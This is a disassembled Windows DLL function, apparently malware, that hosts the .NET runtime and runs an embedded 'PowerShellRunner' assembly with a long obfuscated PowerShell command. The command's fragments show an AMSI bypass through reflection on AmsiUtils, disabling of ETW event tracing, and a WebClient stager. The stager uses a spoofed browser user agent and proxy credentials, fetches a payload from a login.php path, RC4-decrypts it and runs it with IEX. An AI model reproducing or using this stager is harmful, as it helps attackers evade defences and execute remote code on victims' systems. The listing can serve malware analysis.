Function at 0x180036e05
Capabilities:
Load windows common language runtime

Disassembly:
jmp 0x180040860
push rbp
push rdi
sub rsp, 0x3b8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x86
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x1800d912a]
call fcn.180037e4f
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
xor edx, edx
lea rcx, [rbp + 0x88]
call fcn.180036bf3
xor edx, edx
lea rcx, [rbp + 0xa8]
call fcn.180038106
lea rdx, [0x1800acba8]
lea rcx, [rbp + 0xc8]
call fcn.180036b71
xor edx, edx
lea rcx, [rbp + 0xe8]
call fcn.1800372d3
lea rdx, str.PowerShellRunner.PowerShellRunner
lea rcx, [rbp + 0x108]
call fcn.180036b71
xor edx, edx
lea rcx, [rbp + 0x128]
call fcn.180036428
lea rcx, [rbp + 0x28]
call fcn.180036d4c
mov r8, rax
lea rdx, [0x1800acb60]
lea rcx, [0x1800ac2c0]
call fcn.18003658b
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x18004093e
mov edx, dword [rbp + 4]
lea rcx, str.CLRCreateInstance_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0x48]
call fcn.180035d16
mov rcx, qword [rbp + 0x28]
mov rcx, qword [rcx]
mov qword [rbp + 0x378], rcx
mov r9, rax
lea r8, [0x1800acb78]
lea rdx, str.v4.0.30319
mov rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x378]
call qword [rax + SafeArrayCopy]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040991
mov edx, dword [rbp + 4]
lea rcx, str.ICLRMetaHost::GetRuntime_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
lea rdx, [rbp + 0x144]
mov rcx, qword [rbp + 0x48]
call qword [rax + 0x50]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x1800409c3
mov edx, dword [rbp + 4]
lea rcx, str.ICLRRuntimeInfo::IsLoadable_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
cmp dword [rbp + 0x144], 0
jne 0x1800409dd
lea rcx, str..NET_runtime_v2.0.50727_cannot_be_loaded_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0x68]
call fcn.1800357e9
mov rcx, qword [rbp + 0x48]
mov rcx, qword [rcx]
mov qword [rbp + 0x378], rcx
mov r9, rax
lea r8, [0x1800acb90]
lea rdx, [0x1800abd08]
mov rcx, qword [rbp + 0x48]
mov rax, qword [rbp + 0x378]
call qword [rax + 0x48]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040a30
mov edx, dword [rbp + 4]
lea rcx, str.ICLRRuntimeInfo::GetInterface_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x50]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040a5b
mov edx, dword [rbp + 4]
lea rcx, str.CLR_failed_to_start_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0x88]
call fcn.180037eb8
mov rcx, qword [rbp + 0x68]
mov rcx, qword [rcx]
mov qword [rbp + 0x378], rcx
mov rdx, rax
mov rcx, qword [rbp + 0x68]
mov rax, qword [rbp + 0x378]
call qword [rax + 0x68]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040aa3
mov edx, dword [rbp + 4]
lea rcx, str.ICorRuntimeHost::GetDefaultDomain_failed_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0x88]
call fcn.180035bfe
mov qword [rbp + 0x378], rax
lea rcx, [rbp + 0xa8]
call fcn.18003543d
mov rcx, rax
call fcn.180035618
mov rcx, qword [rbp + 0x378]
mov rcx, qword [rcx]
mov qword [rbp + 0x380], rcx
mov r8, rax
lea rdx, [0x1800acb48]
mov rcx, qword [rbp + 0x378]
mov rax, qword [rbp + 0x380]
call qword [rax]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040b12
mov edx, dword [rbp + 4]
lea rcx, str.Failed_to_get_default_AppDomain_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
call fcn.1800379e5
mov eax, 8
imul rax, rax, 0
mov dword [rbp + rax + 0x168], 0x3800
mov eax, 8
imul rax, rax, 0
mov dword [rbp + rax + 0x16c], 0
lea r8, [rbp + 0x168]
mov edx, 1
mov cx, 0x11
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov qword [rbp + 0x188], rax
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnlock]
mov r8d, 0x3800
lea rdx, section..data
mov rax, qword [rbp + 0x188]
mov rcx, qword [rax + 0x10]
call fcn.1800366e4
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.OLEAUT32.dll_SafeArrayAccessData]
lea rcx, [rbp + 0xa8]
call fcn.1800363f6
mov qword [rbp + 0x378], rax
lea rcx, [rbp + 0xe8]
call fcn.1800362ca
mov rcx, qword [rbp + 0x378]
mov rcx, qword [rcx]
mov qword [rbp + 0x380], rcx
mov r8, rax
mov rdx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x378]
mov rax, qword [rbp + 0x380]
call qword [rax + 0x168]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040bfe
mov edx, dword [rbp + 4]
lea rcx, str.Failed_to_load_the_assembly_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rcx, [rbp + 0xe8]
call fcn.180036dec
mov qword [rbp + 0x378], rax
lea rcx, [rbp + 0x128]
call fcn.180036a9a
mov qword [rbp + 0x380], rax
lea rcx, [rbp + 0x108]
call fcn.180037df5
mov rcx, qword [rbp + 0x378]
mov rcx, qword [rcx]
mov qword [rbp + 0x388], rcx
mov rdx, qword [rbp + 0x380]
mov r8, rdx
mov rdx, rax
mov rcx, qword [rbp + 0x378]
mov rax, qword [rbp + 0x388]
call qword [rax + 0x88]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x180040c7c
mov edx, dword [rbp + 4]
lea rcx, str.Failed_to_get_the_Type_interface_w_hr_0x_08lx_n
call fcn.1800351d1
jmp 0x180040cc1
lea rax, str._SV___10__fE_lxA______type___03614275___f_SySTem.DIAg_St_cs.eVeNTI_N_i_tPrOVIdER_O_nG.eveN__________SeT_vARiabLe___9zw__K______TYPe___01__FrE_F________sET_iTEM____24301__f_kw_ic6r_vAr_:_IABLe_____tyPe___8173426950___Fer_Em.net_A_SerV_IcEpOiNTM_g_N_._syST_a______sv__h8lGN6_______tYPe___102__f_t.ENcodI_tex_ng___________vN1EQ___TyPe___01___f_cONv_ERt_____cu6v5___Type___13024___fm.NE_SYS_T.WE_TE_BrEqUEST_______VUy___TYPE___74051263___fNet_r_E_hE_M._.c_dENTIAlcAC_SysTE_____Iyxb___Type___0456132___f_systEM_COD_G_in_.tEX_T.e_N____If__p_SvERsIOn_T_Ab_Le._Ps_VeR_SiON_._Ma_JOr___ge_3__R_ef____CHILdItEm___VARiaBlE:9zWk___.vaLUe._as_s_EMBLY_.__021__f_Ge_e_tTyp_.Invoke___45367012__f_nt.Automation._Amsi_Utils_.Manag_S_ystem_e_me____r_ef.__210___f_tField_e_G_.Invoke___2130___fd_msiIn_a_itFaile____23410___ftic_ta_N_onPub_lic_S__.__102___fval_Set_ue_.Invoke__NU_ll__t_Rue_____lxaE.__012__f_Ge_t_Field_.Invoke___10__fnabled_m_e____41320___ftance_onPubl_c_Ins_i_N__._S_EtV_AlUe_____varIaBLE____9ZW__k____VaLu___._aSsE_mb_lY_.__10___fype_GetT_.Invoke___1210304811691572___f_geme_wL_der_.Mana_nt.A_ogPro_._vi_utom_PSEt_m_ation.Tracing_Syste__.__210__fd_el_GetFi_.Invoke___102__fProv_etw_ider____41023__fc_Publi__St_atic_Non__.__021__fGetVa_e_lu_.Invoke__NU_Ll__0_____kWIc6r::_E_x_Pect100CoNTInue_0__Wc.__120__ft_New_Ob_jec____40213__fm.Net.W_bCli_e_ent_Syste___U__12752111860164141015391317__f__W_5.0___la__lik_n_zil_1_o_6._e_11._Windows_NT__M__Ge_t_7.0__rv:_0___OW64__Tride_cko___S_er_____geT_CHiLDItEm___VARiABLe:H8LGN6___.vaLUe::_uNi_cO_de_._G_Ets_T_RiNG_____Vn1Eq::__3201__ft_ring_Base64S_From_.Invoke___871016943520___f_AzADUA_6AC8_6ADEAMw_uADAALgAwAC4AM_wA_QA_ALwAx_c_aAB0AHQA_ADIAN_AA______t__42103___fes_proc_ogin__s.php__l___wc._heaDE_RS_.__10__f_d_Ad_.Invoke___120___f_Agent_U_ser___U___W_C._pRo_xy_____ls____vari__Able:cu__6V__5___.VaLUe::_defA_ULtw_EB_pr_OXy___W_C._pr_Oxy_._CR_eDEnT_Ials_____vUy::_D_efAU_LTNETWo_RkcR_edEN_Tials___scR_I_pT:_pROxY___wc._P_ROXy___k__iyXB::_aSC_II_.__201__f_e_tBytes_G_.Invoke_____053421___f_B_lu_J_dKf_8j_eiZg_2Gga:tv_W9_k_r__T0D__._rE_pLaCE____CHAR_50_CHAR_71_CHAR_103_______R_D__K_a_Rgs__S0..255_0..255.____j__J_S_____K_____K._C_OuNt____256__S______s__J__S__j___s______D____i__I1__256__H__H_S__I___256__s__i___s__h__S__h___S__I_____bxor_S___s__I__S__h___256___wC._HE_AD_eRS_.__10___fdd_A_.Invoke___01__fC_ookie____237154100896___f_X_E0UA_MZAwtyVkL_BFk_EgXgc_lqR_Chs__USa_5_YQX7Dr____da_Ta_WC.__201___f_adD_ata_Downlo_.Invoke__S_Er_t___I_V_d_Ata_0..3___d_ATa_da_Ta_4.._D_ATa._leN_G_Th____join_Char______R__DA_TA___iV_k____01__fIE_X_
mov qword [rbp + 0x1a8], rax
lea rax, [rbp + 0x348]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x128]
mov rcx, qword [rbp + 0x368]
call fcn.180037cba
mov r8, qword [rbp + 0x1a8]
lea rdx, [0x1800b0d58]
mov rcx, rax
call fcn.18003716b
cmp qword [rbp + 0x28], 0
je 0x180040cde
mov rax, qword [rbp + 0x28]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x28]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp + 0x28], 0
cmp qword [rbp + 0x48], 0
je 0x180040cfb
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x48]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp + 0x48], 0
cmp qword [rbp + 0x68], 0
je 0x180040d18
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp + 0x68], 0
lea rcx, [rbp + 0x128]
call fcn.18003729c
lea rcx, [rbp + 0x108]
call fcn.18003777e
lea rcx, [rbp + 0xe8]
call fcn.18003820a
lea rcx, [rbp + 0xc8]
call fcn.18003777e
lea rcx, [rbp + 0xa8]
call fcn.1800363a6
lea rcx, [rbp + 0x88]
call fcn.1800358ed
lea rcx, [rbp - 0x20]
lea rdx, [0x1800ac7b8]
call fcn.180037648
lea rsp, [rbp + 0x398]
pop rdi
pop rbp
ret